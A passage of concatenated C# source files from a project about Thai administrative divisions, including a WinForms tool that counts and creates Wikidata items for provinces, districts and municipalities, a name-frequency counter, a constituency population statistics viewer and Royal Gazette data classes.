Int32 lCurrentCount = lKeyValue.Value.Count;
if (lCurrentCount > 0)
{
lDeviation = lDeviation + Math.Pow(lKeyValue.Key - mMeanValue, 2);
}
}
}
mStandardDeviation = Math.Sqrt(lDeviation / mCount);
}
}
#endregion
}
}
<file_sep>/TambonUI/WikiData.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Configuration;
using System.Data;
using System.Drawing;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Wikibase;
using Wikibase.DataValues;
namespace De.AHoerstemeier.Tambon.UI
{
public partial class WikiData : Form
{
private WikiDataBot _bot;
private List<Entity> allEntities = null;
private WikiDataHelper _helper;
public WikiData()
{
InitializeComponent();
}
private class EntityTypeGrouping<TKey, TElement> : List<TElement>, IGrouping<TKey, TElement>
{
public TKey Key
{
get;
set;
}
}
private void btnStatistics_Click(object sender, EventArgs e)
{
var entitiesWithWikiData = allEntities.Where(x => x.wiki != null && !String.IsNullOrEmpty(x.wiki.wikidata));
var wikiDataLinks = new List<String>();
wikiDataLinks.AddRange(entitiesWithWikiData.Select(x => x.wiki.wikidata));
var allOffices = allEntities.SelectMany(x => x.office);
//var officesWithWikiData = allOffices.Where(y => y.wiki != null && !String.IsNullOrEmpty(y.wiki.wikidata));
//wikiDataLinks.AddRange(officesWithWikiData.Select(x => x.wiki.wikidata));
// write to CSV file?
var fittingEntitiesByType = entitiesWithWikiData.GroupBy(y => y.type).OrderBy(z => z.Count()).ToList();
var allEntitiesByType = allEntities.Where(x => !x.IsObsolete).GroupBy(y => y.type);
foreach ( var expectedType in WikiBase.WikiDataItems )
{
if ( expectedType.Key != EntityType.Country )
{
if ( allEntitiesByType.Any(x => x.Key == expectedType.Key) )
{
if ( !fittingEntitiesByType.Any(x => x.Key == expectedType.Key) )
{
var emptyEntry = new EntityTypeGrouping<EntityType, Entity>();
emptyEntry.Key = expectedType.Key;
fittingEntitiesByType.Add(emptyEntry);
}
}
}
}
StringBuilder builder = new StringBuilder();
foreach ( var type in fittingEntitiesByType )
{
var fittingAllEntities = allEntitiesByType.First(x => x.Key == type.Key);
var expectedCount = fittingAllEntities.Count();
var actualCount = type.Count();
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0}: {1} of {2}", type.Key, type.Count(), expectedCount);
if ( actualCount != expectedCount && expectedCount - actualCount < 5 )
{
builder.Append(" (");
foreach ( var entry in fittingAllEntities )
{
if ( !entitiesWithWikiData.Contains(entry) )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0},", entry.geocode);
}
}
builder.Append(")");
}
builder.AppendLine();
}
builder.AppendLine();
//var officesWithWikiDataByType = officesWithWikiData.GroupBy(x => x.type).OrderBy(y => y.Count());
//foreach ( var type in officesWithWikiDataByType )
//{
// builder.AppendFormat(CultureInfo.CurrentUICulture,"{0}: {1}", type.Key, type.Count());
// builder.AppendLine();
//}
//builder.AppendLine();
var announcementsWithWikiData = GlobalData.AllGazetteAnnouncements.entry.Where(x => x.wiki != null && !String.IsNullOrEmpty(x.wiki.wikidata));
if ( announcementsWithWikiData.Any() )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "Announcements: {0}", announcementsWithWikiData.Count());
builder.AppendLine();
builder.AppendLine();
}
wikiDataLinks.AddRange(announcementsWithWikiData.Select(x => x.wiki.wikidata));
var duplicateWikiDataLinks = wikiDataLinks.GroupBy(x => x).Where(y => y.Count() > 1);
if ( duplicateWikiDataLinks.Any() )
{
builder.AppendLine("Duplicate links:");
foreach ( var wikiDataLink in duplicateWikiDataLinks )
{
builder.AppendLine(wikiDataLink.Key);
}
}
var noUpgradeHistoryEntry = new List<Entity>();
foreach ( var entity in allEntities.Where(x => x.type.IsCompatibleEntityType(EntityType.Thesaban) && x.tambonSpecified && !x.IsObsolete) )
{
if ( !entity.history.Items.Any(x => x is HistoryStatus) )
{
noUpgradeHistoryEntry.Add(entity);
}
}
noUpgradeHistoryEntry.Sort((x, y) => x.geocode.CompareTo(y.geocode));
if ( noUpgradeHistoryEntry.Any() )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "No history ({0}):", noUpgradeHistoryEntry.Count);
builder.AppendLine();
foreach ( var entity in noUpgradeHistoryEntry )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0}: {1}", entity.geocode, entity.english);
builder.AppendLine();
}
}
var result = builder.ToString();
var formWikiDataEntries = new StringDisplayForm(
String.Format(CultureInfo.CurrentUICulture, "Wikidata coverage ({0})", entitiesWithWikiData.Count()),
result);
formWikiDataEntries.Show();
}
private void btnCountInterwiki_Click(object sender, EventArgs e)
{
var entityTypes = CurrentActiveEntityTypes();
var entitiesWithWikiData = allEntities.Where(x => x.wiki != null && !String.IsNullOrEmpty(x.wiki.wikidata));
var workItems = entitiesWithWikiData.Where(x => entityTypes.Contains(x.type));
StringBuilder collisions = new StringBuilder();
var siteLinkCount = _bot.CountSiteLinks(workItems, collisions);
StringBuilder builder = new StringBuilder();
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} entities on WikiData", workItems.Count());
builder.AppendLine();
foreach ( var value in siteLinkCount )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, " {0}: {1}", value.Key, value.Value);
builder.AppendLine();
}
var result = builder.ToString();
edtCollisions.Text = collisions.ToString();
var formWikiDataEntries = new StringDisplayForm(
"WikiData language coverage",
result);
formWikiDataEntries.Show();
}
private static WikibaseApi OpenConnection()
{
WikibaseApi api = new WikibaseApi("https://www.wikidata.org", "TambonBot");
// Login with user name and password
var username = ConfigurationManager.AppSettings["WikiDataUsername"];
var password = ConfigurationManager.AppSettings["WikiDataPassword"];
api.login(username, password);
api.botEdits = true;
api.editlimit = true;
api.editLaps = 1000; // one edit per second
return api;
}
private void WikiData_Load(object sender, EventArgs e)
{
chkTypes.Items.Add(EntityType.Changwat);
chkTypes.Items.Add(EntityType.Amphoe);
chkTypes.Items.Add(EntityType.Tambon);
chkTypes.Items.Add(EntityType.Muban);
chkTypes.Items.Add(EntityType.Thesaban);
chkTypes.Items.Add(EntityType.TAO);
chkTypes.Items.Add(EntityType.Khet);
chkTypes.Items.Add(EntityType.Khwaeng);
chkTypes.Items.Add(EntityType.Chumchon);
chkTypes.Items.Add(EntityType.PAO);
chkTypes.SetItemCheckState(0, CheckState.Checked);
allEntities = new List<Entity>();
var entities = GlobalData.CompleteGeocodeList();
entities.PropagateObsoleteToSubEntities();
allEntities.AddRange(entities.FlatList().Where(x => !x.IsObsolete));
entities.PropagatePostcodeRecursive();
var allThesaban = allEntities.Where(x => x.type.IsCompatibleEntityType(EntityType.Thesaban));
foreach ( var entity in allThesaban )
{
if ( (entity.wiki == null) || String.IsNullOrEmpty(entity.wiki.wikidata) )
{
var office = entity.office.FirstOrDefault();
if ( office == null )
{
edtCollisions.Text += String.Format(CultureInfo.CurrentUICulture, "No office: {0}" + Environment.NewLine, entity.geocode);
}
else if ( (office.wiki != null) && !String.IsNullOrEmpty(office.wiki.wikidata) )
{
edtCollisions.Text += String.Format(CultureInfo.CurrentUICulture, "WikiData at office: {0}" + Environment.NewLine, entity.geocode);
}
}
}
var allTambon = allEntities.Where(x => x.type == EntityType.Tambon).ToList();
foreach ( var tambon in allTambon )
{
var localGovernmentEntity = tambon.CreateLocalGovernmentDummyEntity();
if ( localGovernmentEntity != null )
{
allEntities.Add(localGovernmentEntity);
}
}
var allChangwat = allEntities.Where(x => x.type == EntityType.Changwat).ToList();
foreach ( var changwat in allChangwat )
{
var pao = changwat.CreateLocalGovernmentDummyEntity();
if ( pao != null )
{
allEntities.Add(pao);
}
}
var localGovernments = allEntities.Where(x => x.type.IsLocalGovernment());
foreach ( var lao in localGovernments )
{
lao.CalculatePostcodeForLocalAdministration(allTambon);
}
GlobalData.LoadPopulationData(PopulationDataSourceType.DOPA, GlobalData.PopulationStatisticMaxYear);
Entity.CalculateLocalGovernmentPopulation(localGovernments, allTambon, PopulationDataSourceType.DOPA, GlobalData.PopulationStatisticMaxYear);
cbxChangwat.Items.AddRange(allEntities.Where(x => x.type.IsCompatibleEntityType(EntityType.Changwat)).ToArray());
lblTambonInfo.Text = String.Empty;
lblLaoInfo.Text = String.Empty;
var thesabanMueangWithoutWikiData = localGovernments.Where(x => x.type == EntityType.ThesabanMueang && (x.wiki == null || String.IsNullOrEmpty(x.wiki.wikidata))).Select(x => String.Format(CultureInfo.CurrentUICulture, "{0} ({1})", x.english, x.geocode)).ToArray();
if ( thesabanMueangWithoutWikiData.Any() )
{
edtCollisions.Text = "Missing Thesaban Mueang" + Environment.NewLine + String.Join(Environment.NewLine, thesabanMueangWithoutWikiData);
}
var thesabanNakhonWithoutWikiData = localGovernments.Where(x => x.type == EntityType.ThesabanNakhon && (x.wiki == null || String.IsNullOrEmpty(x.wiki.wikidata))).Select(x => String.Format(CultureInfo.CurrentUICulture, "{0} ({1})", x.english, x.geocode)).ToArray();
if ( thesabanNakhonWithoutWikiData.Any() )
{
edtCollisions.Text = "Missing Thesaban Nakhon" + Environment.NewLine + String.Join(Environment.NewLine, thesabanNakhonWithoutWikiData);
}
}
private void btnRun_Click(object sender, EventArgs e)
{
var entityTypes = CurrentActiveEntityTypes();
var entitiesWithWikiData = allEntities.Where(x => x.wiki != null && !String.IsNullOrEmpty(x.wiki.wikidata));
IEnumerable<Entity> workItems = null;
if ( !String.IsNullOrWhiteSpace(edtSpecificItemId.Text) )
{
Int32 specificValue = Convert.ToInt32(edtSpecificItemId.Text.Replace("Q",""));
workItems = entitiesWithWikiData.Where(x => x.wiki.NumericalWikiData == specificValue);
}
else
{
workItems = entitiesWithWikiData.Where(x => entityTypes.Contains(x.type));
Int32 startingValue = 0;
if ( !String.IsNullOrWhiteSpace(edtStartingItemId.Text) )
{
startingValue = Convert.ToInt32(edtStartingItemId.Text);
}
if ( startingValue > 0 )
{
workItems = workItems.Where(x => x.wiki.NumericalWikiData > startingValue);
}
}
StringBuilder warnings = new StringBuilder();
var activity = cbxActivity.SelectedItem as WikiDataTaskInfo;
if ( activity != null )
{
activity.Task(workItems, warnings, chkOverride.Checked);
}
StringBuilder info = new StringBuilder();
info.AppendFormat(CultureInfo.CurrentUICulture, "{0} items", workItems.Count());
info.AppendLine();
foreach ( var keyvaluepair in _bot.RunInfo )
{
if ( keyvaluepair.Value > 0 )
{
info.AppendFormat(CultureInfo.CurrentUICulture, "{0} items had state {1}", keyvaluepair.Value, keyvaluepair.Key);
info.AppendLine();
}
}
info.AppendLine();
edtCollisions.Text = info.ToString() + warnings.ToString();
}
private IEnumerable<EntityType> CurrentActiveEntityTypes()
{
var entityTypes = new List<EntityType>();
foreach ( var item in chkTypes.CheckedItems )
{
entityTypes.Add((EntityType)item);
}
if ( entityTypes.Contains(EntityType.Thesaban) )
{
entityTypes.Add(EntityType.ThesabanTambon);
entityTypes.Add(EntityType.ThesabanMueang);
entityTypes.Add(EntityType.ThesabanNakhon);
}
return entityTypes;
}
private void btnLogin_Click(object sender, EventArgs e)
{
var api = OpenConnection();
_helper = new WikiDataHelper(api);
_bot = new WikiDataBot(_helper);
foreach ( var activity in _bot.AvailableTasks )
{
cbxActivity.Items.Add(activity);
}
btnRun.Enabled = true;
btnLogout.Enabled = true;
btnLogin.Enabled = false;
btnCountInterwiki.Enabled = true;
btnCheckCommonsCategory.Enabled = true;
RefreshAmphoeSelection();
CalculateCreateLocalGovernmentEnabled();
}
private void btnLogout_Click(object sender, EventArgs e)
{
_bot.LogOut();
_bot = null;
btnRun.Enabled = false;
btnLogout.Enabled = false;
btnLogin.Enabled = true;
btnCountInterwiki.Enabled = false;
btnCreateTambon.Enabled = false;
btnAmphoeCategory.Enabled = false;
btnMap.Enabled = false;
btnCheckCommonsCategory.Enabled = false;
}
private void btnCheckCommonsCategory_Click(object sender, EventArgs e)
{
StringBuilder builder = new StringBuilder();
var entityTypes = CurrentActiveEntityTypes();
var entitiesWithWikiData = allEntities.Where(x => x.wiki != null && !String.IsNullOrEmpty(x.wiki.wikidata));
var workItems = entitiesWithWikiData.Where(x => entityTypes.Contains(x.type));
foreach ( var changwat in workItems )
{
if ( !_bot.CheckCommonsCategory(changwat) )
{
String categoryName = _bot.GetCommonsCategory(changwat);
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0}: {1}", changwat.english, categoryName);
builder.AppendLine();
}
}
edtCollisions.Text = builder.ToString();
}
private void btnCategory_Click(object sender, EventArgs e)
{
var entityTypes = new List<EntityType>()
{
EntityType.Amphoe,
EntityType.Thesaban,
EntityType.TAO,
EntityType.Tambon,
EntityType.Muban,
};
foreach ( var entity in allEntities.Where(x => x.type == EntityType.Changwat) )
{
foreach ( var entityType in entityTypes )
{
var wikiDataItem = _helper.FindThaiCategory(entity, entityType);
if ( wikiDataItem != null )
{
_helper.AddCategoryCombinesTopic(wikiDataItem, entity, entityType);
_helper.AddCategoryListOf(wikiDataItem, entity, entityType);
}
}
}
}
private void btnAllItems_Click(object sender, EventArgs e)
{
var entitiesWithWikiData = allEntities.Where(x => x.wiki != null && !String.IsNullOrEmpty(x.wiki.wikidata));
var wikiDataLinks = new List<String>();
wikiDataLinks.AddRange(entitiesWithWikiData.Select(x => x.wiki.wikidata));
edtCollisions.Text = String.Join(Environment.NewLine, wikiDataLinks);
}
private void cbxChangwat_SelectedValueChanged(object sender, EventArgs e)
{
var changwat = cbxChangwat.SelectedItem as Entity;
cbxAmphoe.Items.Clear();
if ( changwat != null )
{
cbxAmphoe.Items.AddRange(changwat.entity.Where(x => !x.IsObsolete && x.type.IsCompatibleEntityType(EntityType.Amphoe)).ToArray());
}
cbxAmphoe.SelectedItem = null;
RefreshAmphoeSelection();
btnMap.Enabled = changwat != null;
}
private void cbxAmphoe_SelectedValueChanged(object sender, EventArgs e)
{
RefreshAmphoeSelection();
RefreshLocalGovernmentSelection();
}
private void RefreshLocalGovernmentSelection()
{
var amphoe = cbxAmphoe.SelectedItem as Entity;
cbxLocalGovernments.Items.Clear();
lblLaoInfo.Text = String.Empty;
if ( amphoe != null )
{
var allLocalGovernment = allEntities.Where(x => x.type.IsLocalGovernment() && x.parent.Contains(amphoe.geocode) && !x.IsObsolete).ToList();
allLocalGovernment.Sort((x, y) => x.geocode.CompareTo(y.geocode));
cbxLocalGovernments.Items.AddRange(allLocalGovernment.ToArray());
cbxLocalGovernments.SelectedItem = null;
btnCreateLocalGovernment.Enabled = false;
var wikidataCount = allLocalGovernment.Count(x => x.wiki != null && !String.IsNullOrWhiteSpace(x.wiki.wikidata));
lblLaoInfo.Text = String.Format(CultureInfo.CurrentUICulture, "{0} of {1} done", wikidataCount, allLocalGovernment.Count);
}
}
private void RefreshAmphoeSelection()
{
var amphoe = cbxAmphoe.SelectedItem as Entity;
lblTambonInfo.Text = String.Empty;
if ( amphoe != null )
{
var allTambon = amphoe.entity.Where(x => x.type.IsCompatibleEntityType(EntityType.Tambon) && !x.IsObsolete).ToList();
var wikidataCount = allTambon.Count(x => x.wiki != null && !String.IsNullOrWhiteSpace(x.wiki.wikidata));
lblTambonInfo.Text = String.Format(CultureInfo.CurrentUICulture, "{0} of {1} done", wikidataCount, allTambon.Count);
btnCreateTambon.Enabled = (wikidataCount < allTambon.Count) && (_bot != null);
btnAmphoeCategory.Enabled = true;
}
else
{
btnCreateTambon.Enabled = false;
}
}
private void btnCreate_Click(object sender, EventArgs e)
{
var amphoe = cbxAmphoe.SelectedItem as Entity;
if ( amphoe != null )
{
edtCollisions.Text = String.Empty;
var allTambon = amphoe.entity.Where(x => x.type.IsCompatibleEntityType(EntityType.Tambon) && !x.IsObsolete);
var missingTambon = allTambon.Where(x => x.wiki == null || String.IsNullOrWhiteSpace(x.wiki.wikidata)).ToList();
foreach ( var tambon in missingTambon )
{
_bot.CreateItem(tambon);
edtCollisions.Text += String.Format(CultureInfo.InvariantCulture, "{0} ({2}): <wiki wikidata=\"{1}\" />",
tambon.geocode,
tambon.wiki.wikidata,
tambon.english) + Environment.NewLine;
}
var dummy = new StringBuilder();
_bot.SetContainsSubdivisionTask.Task(new List<Entity>() { amphoe }, dummy, false);
RefreshAmphoeSelection();
}
}
private void cbxLocalGovernments_SelectedValueChanged(object sender, EventArgs e)
{
CalculateCreateLocalGovernmentEnabled();
}
private void CalculateCreateLocalGovernmentEnabled()
{
var localGovernment = cbxLocalGovernments.SelectedItem as Entity;
btnCreateLocalGovernment.Enabled = (_bot != null) && (localGovernment != null) && (localGovernment.wiki == null || String.IsNullOrWhiteSpace(localGovernment.wiki.wikidata));
}
private void btnCreateLocalGovernment_Click(object sender, EventArgs e)
{
var localGovernment = cbxLocalGovernments.SelectedItem as Entity;
if ( localGovernment != null )
{
_bot.CreateItem(localGovernment);
edtCollisions.Text = String.Format(CultureInfo.InvariantCulture, "{0} ({2}): <wiki wikidata=\"{1}\" />",
localGovernment.geocode,
localGovernment.wiki.wikidata,
localGovernment.english) + Environment.NewLine;
btnCreateLocalGovernment.Enabled = false;
}
}
private void btnTambonList_Click(object sender, EventArgs e)
{
StringBuilder result = new StringBuilder();
var codes = new List<String>();
foreach ( var province in allEntities.Where(x => x.type.IsCompatibleEntityType(EntityType.Changwat)) )
{
result.AppendFormat(CultureInfo.InvariantCulture, "* {{{{Q|{0}}}}}", province.wiki.wikidata.Remove(0, 1));
result.AppendLine();
foreach ( var amphoe in province.entity.Where(x => !x.IsObsolete && x.type.IsCompatibleEntityType(EntityType.Amphoe)) )
{
result.AppendFormat(CultureInfo.InvariantCulture, "** {{{{Q|{0}}}}}: ", amphoe.wiki.wikidata.Remove(0, 1));
codes.Clear();
foreach ( var tambon in amphoe.entity.Where(x => !x.IsObsolete && x.type.IsCompatibleEntityType(EntityType.Tambon)) )
{
if ( tambon.wiki != null && !String.IsNullOrEmpty(tambon.wiki.wikidata) )
{
// codes.Add(String.Format("{{{{Q|{0}}}}}", tambon.wiki.wikidata.Remove(0, 1)));
codes.Add(String.Format(CultureInfo.InvariantCulture, "[[{0}]]", tambon.wiki.wikidata));
}
else
{
codes.Add(tambon.english);
}
}
result.AppendLine(String.Join(" - ", codes));
}
}
edtCollisions.Text = result.ToString();
}
private void btnLaoList_Click(object sender, EventArgs e)
{
StringBuilder result = new StringBuilder();
var codes = new List<String>();
foreach ( var province in allEntities.Where(x => x.type == EntityType.Changwat) )
{
result.AppendFormat(CultureInfo.InvariantCulture, "* '''{0}''': ", province.EnglishFullName);
codes.Clear();
var localGovernment = allEntities.Where(x => !x.IsObsolete && x.type.IsLocalGovernment() && GeocodeHelper.IsBaseGeocode(province.geocode, x.geocode));
foreach ( var lao in localGovernment )
{
if ( lao.wiki != null && !String.IsNullOrEmpty(lao.wiki.wikidata) )
{
// codes.Add(String.Format("{{{{Q|{0}}}}}", tambon.wiki.wikidata.Remove(0, 1)));
codes.Add(String.Format(CultureInfo.InvariantCulture, "[[{0}]]", lao.wiki.wikidata));
}
else
{
codes.Add(lao.english);
}
}
result.AppendLine(String.Join(" - ", codes));
}
edtCollisions.Text = result.ToString();
}
private void btnMap_Click(object sender, EventArgs e)
{
var changwat = cbxChangwat.SelectedItem as Entity;
if ( changwat != null )
{
var amphoe = changwat.entity.Where(x => !x.IsObsolete && x.type.IsCompatibleEntityType(EntityType.Amphoe));
var dummy = new StringBuilder();
_bot.SetLocatorMapTask.Task(amphoe, dummy, false);
}
}
private void btnAmphoeCategory_Click(object sender, EventArgs e)
{
var amphoe = cbxAmphoe.SelectedItem as Entity;
if ( amphoe != null )
{
if ( _helper.GetCategoryOfItem(amphoe) == null )
{
_bot.CreateCategory(amphoe);
}
}
}
private void btnTest_Click(object sender, EventArgs e)
{
WikibaseApi api = new WikibaseApi("https://test.wikidata.org", "TambonBot");
var entityProvider = new EntityProvider(api);
var item = entityProvider.getEntityFromId(new EntityId("Q42")) as Item;
}
}
}<file_sep>/AHTambon/EntityCounter.cs
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Linq;
namespace De.AHoerstemeier.Tambon
{
public class EntityCounter
{
#region properties
private Dictionary<String, Int32> mNamesCount = new Dictionary<String, Int32>();
private List<EntityType> mEntityTypes;
public Int32 BaseGeocode
{
get;
set;
}
private Int32 mNumberOfEntities;
public Int32 NumberOfEntities
{
get
{
return mNumberOfEntities;
}
}
#endregion properties
#region constructor
public EntityCounter(List<EntityType> iEntityTypes)
{
mEntityTypes = iEntityTypes;
}
#endregion constructor
#region methods
public String CommonNames(Int32 iCutOff)
{
StringBuilder lBuilder = new StringBuilder();
lBuilder.AppendLine("Total number: " + NumberOfEntities.ToString());
List<KeyValuePair<String, Int32>> lSorted = new List<KeyValuePair<String, Int32>>();
foreach ( KeyValuePair<String, Int32> lKeyValuePair in mNamesCount )
{
String lName = lKeyValuePair.Key;
lSorted.Add(lKeyValuePair);
}
lSorted.Sort(delegate(KeyValuePair<String, Int32> x, KeyValuePair<String, Int32> y)
{
return y.Value.CompareTo(x.Value);
});
Int32 lCount = 0;
foreach ( KeyValuePair<String, Int32> lKeyValuePair in lSorted )
{
lBuilder.AppendLine(lKeyValuePair.Key + " (" + lKeyValuePair.Value.ToString() + ") ");
lCount++;
if ( lCount > iCutOff )
{
break;
}
}
String RetVal = lBuilder.ToString();
return RetVal;
}
private List<PopulationDataEntry> LoadGeocodeLists()
{
var lList = new List<PopulationDataEntry>();
foreach ( PopulationDataEntry lEntry in TambonHelper.ProvinceGeocodes )
{
if ( TambonHelper.IsBaseGeocode(BaseGeocode, lEntry.Geocode) )
{
PopulationData lEntities = TambonHelper.GetGeocodeList(lEntry.Geocode);
lList.AddRange(lEntities.Data.FlatList(mEntityTypes));
}
}
return lList;
}
private List<PopulationDataEntry> NormalizeNames(List<PopulationDataEntry> iList)
{
List<PopulationDataEntry> lResult = new List<PopulationDataEntry>();
foreach ( PopulationDataEntry lEntry in iList )
{
if ( lEntry.Type == EntityType.Muban )
{
lEntry.Name = TambonHelper.StripBanOrChumchon(lEntry.Name);
}
if ( (!lEntry.IsObsolete()) & (TambonHelper.IsBaseGeocode(BaseGeocode, lEntry.Geocode)) )
{
lResult.Add(lEntry);
}
}
lResult.Sort(delegate(PopulationDataEntry p1, PopulationDataEntry p2)
{
return p1.Name.CompareTo(p2.Name);
});
return lResult;
}
private static Dictionary<String, Int32> DoCalculate(List<PopulationDataEntry> list)
{
var result = list.GroupBy(x => x.Name).ToDictionary(grp => grp.Key, grp => grp.Count());
return result;
}
public void Calculate()
{
var lList = LoadGeocodeLists();
Calculate(lList);
}
public void Calculate(List<PopulationDataEntry> iInputList)
{
var lList = NormalizeNames(iInputList);
mNumberOfEntities = lList.Count;
mNamesCount = DoCalculate(lList);
}
#endregion methods
}
}<file_sep>/ConstituencyStatisticsViewer.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Diagnostics;
using System.Windows.Forms;
namespace De.AHoerstemeier.Tambon
{
public partial class ConstituencyStatisticsViewer : Form
{
private PopulationDataEntry mData;
public ConstituencyStatisticsViewer(PopulationDataEntry iData)
{
mData = iData;
InitializeComponent();
FillTreeView(TrvData);
txtStatistics.Text = CalculateData(0);
}
private TreeNode PopulationDataEntryToTreeNode(PopulationDataEntry iData)
{
// ToDo: cleanup this CodeCopy from PopulationDataView.cs
TreeNode retval = null;
if ( iData != null )
{
String lName = String.Empty;
if ( !String.IsNullOrEmpty(iData.English) )
{
lName = iData.English;
}
else
{
lName = "(" + iData.Name + ")";
}
retval = new TreeNode(lName);
retval.Tag = iData;
foreach ( PopulationDataEntry lEntity in iData.SubEntities )
{
if ( !EntityTypeHelper.Thesaban.Contains(lEntity.Type) )
{
retval.Nodes.Add(PopulationDataEntryToTreeNode(lEntity));
}
}
}
return retval;
}
private void FillTreeView(TreeView iTreeView)
{
iTreeView.BeginUpdate();
iTreeView.Nodes.Clear();
if ( mData != null )
{
TreeNode lNode = PopulationDataEntryToTreeNode(mData);
if ( lNode != null )
{
iTreeView.Nodes.Add(lNode);
}
}
iTreeView.EndUpdate();
}
private String CalculateData(Int32 iGeocode)
{
String lResult = String.Empty;
PopulationDataEntry lEntry = null;
if ( iGeocode == 0 )
{
lEntry = mData;
}
else
{
lEntry = mData.FindByCode(iGeocode);
}
if ( lEntry != null )
{
List<PopulationDataEntry> lList = lEntry.FlatList(new List<EntityType>() { EntityType.Bangkok, EntityType.Changwat, EntityType.Amphoe, EntityType.KingAmphoe, EntityType.Khet });
lList.Add(lEntry);
FrequencyCounter lCounter = new FrequencyCounter();
Int32 lSeats = 0;
foreach ( PopulationDataEntry lSubEntry in lList )
{
foreach ( ConstituencyEntry lConstituency in lSubEntry.ConstituencyList )
{
lCounter.IncrementForCount(lConstituency.Population() / lConstituency.NumberOfSeats, lSubEntry.Geocode * 100 + lConstituency.Index);
lSeats += lConstituency.NumberOfSeats;
}
}
StringBuilder lBuilder = new StringBuilder();
lBuilder.AppendLine("Number of constituencies: " + lCounter.NumberOfValues.ToString());
lBuilder.AppendLine("Number of seats: " + lSeats.ToString());
if ( lCounter.NumberOfValues > 0 )
{
lBuilder.AppendLine("Mean population per seat: " + Math.Round(lCounter.MeanValue).ToString());
lBuilder.AppendLine("Standard deviation: " + Math.Round(lCounter.StandardDeviation).ToString());
lBuilder.AppendLine("Maximum population per seat: " + lCounter.MaxValue.ToString());
foreach ( var lSubEntry in lCounter.Data[lCounter.MaxValue] )
{
lBuilder.AppendLine(" " + GetEntityConstituencyName(lSubEntry));
}
lBuilder.AppendLine("Minimum population per seat: " + lCounter.MinValue.ToString());
foreach ( var lSubEntry in lCounter.Data[lCounter.MinValue] )
{
lBuilder.AppendLine(" " + GetEntityConstituencyName(lSubEntry));
}
}
lBuilder.AppendLine();
foreach ( PopulationDataEntry lSubEntry in lList )
{
foreach ( ConstituencyEntry lConstituency in lSubEntry.ConstituencyList )
{
lBuilder.AppendLine(
GetEntityConstituencyName(lSubEntry.Geocode * 100 + lConstituency.Index)
+ ": " +
lConstituency.Population() / lConstituency.NumberOfSeats);
}
}
lResult = lBuilder.ToString();
}
return lResult;
}
private string GetEntityConstituencyName(Int32 iEntry)
{
Int32 lGeocode = iEntry / 100;
Int32 lConstituency = iEntry % 100;
PopulationDataEntry lEntry = mData.FindByCode(lGeocode);
Debug.Assert(lEntry != null, "Code " + lGeocode.ToString() + " not found");
String lResult = lEntry.English + " Constituency " + lConstituency.ToString();
return lResult;
}
private void TrvData_AfterSelect(object sender, TreeViewEventArgs e)
{
PopulationDataEntry lEntry = (PopulationDataEntry)e.Node.Tag;
if ( lEntry != null )
{
txtStatistics.Text = CalculateData(lEntry.Geocode);
}
}
}
}
<file_sep>/AHTambon/RoyalGazetteContentReassign.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
class RoyalGazetteContentReassign:RoyalGazetteContent
{
internal const String XmlLabel = "reassign";
#region properties
public Int32 OldGeocode { get; set; }
public Int32 OldParent { get; set; }
#endregion
#region methods
internal override void DoLoad(XmlNode iNode)
{
base.DoLoad(iNode);
if (iNode != null && iNode.Name.Equals(XmlLabel))
{
OldGeocode = TambonHelper.GetAttributeOptionalInt(iNode, "oldgeocode",0);
OldParent = TambonHelper.GetAttributeOptionalInt(iNode, "oldparent",0);
}
}
protected override void DoCopy(RoyalGazetteContent iOther)
{
if (iOther != null)
{
base.DoCopy(iOther);
if (iOther is RoyalGazetteContentReassign)
{
RoyalGazetteContentReassign iOtherReassign = (RoyalGazetteContentReassign)iOther;
OldGeocode = iOtherReassign.OldGeocode;
OldParent = iOtherReassign.OldParent;
}
}
}
override protected void WriteToXmlElement(XmlElement iElement)
{
base.WriteToXmlElement(iElement);
if (OldGeocode != 0)
{
iElement.SetAttribute("oldgeocode", OldGeocode.ToString());
}
if (OldParent != 0)
{
iElement.SetAttribute("oldparent", OldParent.ToString());
}
}
protected override String GetXmlLabel()
{
return XmlLabel;
}
#endregion
#region IGeocode Members
public override bool IsAboutGeocode(Int32 iGeocode, Boolean iIncludeSubEntities)
{
Boolean retval = TambonHelper.IsSameGeocode(iGeocode, Geocode, iIncludeSubEntities);
retval = retval | TambonHelper.IsSameGeocode(iGeocode, OldGeocode, iIncludeSubEntities);
return retval;
}
#endregion
}
}
<file_sep>/AHTambon/PopulationData.cs
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.IO;
using System.Xml;
using System.Linq;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Event arguments containing a <see cref="PopulationData"/>
/// </summary>
public class PopulationDataEventArgs:EventArgs
{
/// <summary>
/// Gets the population data.
/// </summary>
/// <value>The population data.</value>
public PopulationData PopulationData
{ get; private set; }
/// <summary>
/// Creates a new instance of <see cref="PopulationDataEventArgs"/>.
/// </summary>
/// <param name="data">Population data.</param>
public PopulationDataEventArgs(PopulationData data)
{
PopulationData = data;
}
}
/// <summary>
/// Delegate
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
public delegate void ProcessingFinishedHandler(Object sender, PopulationDataEventArgs e);
public class PopulationData
{
#region variables
private Boolean _anythingCached = false;
private Int32 _geocode = 0;
private PopulationDataEntry _changwat = null;
private PopulationDataEntry _currentSubEntry = null;
private List<PopulationDataEntry> _thesaban = new List<PopulationDataEntry>();
private List<PopulationDataEntry> _invalidGeocodes = new List<PopulationDataEntry>();
#endregion
#region properties
/// <summary>
/// Gets the year for which is population data is done.
/// </summary>
public Int32 Year
{
get; private set;
}
/// <summary>
/// Gets the actual population data.
/// </summary>
/// <value>The population data.</value>
public PopulationDataEntry Data
{
get { return _changwat; }
}
/// <summary>
/// Gets the list of municipalities.
/// </summary>
/// <value>The municipalities.</value>
public IEnumerable<PopulationDataEntry> Thesaban
{
get { return _thesaban; }
}
/// <summary>
/// Thrown when the processing is finished and the data is calculated.
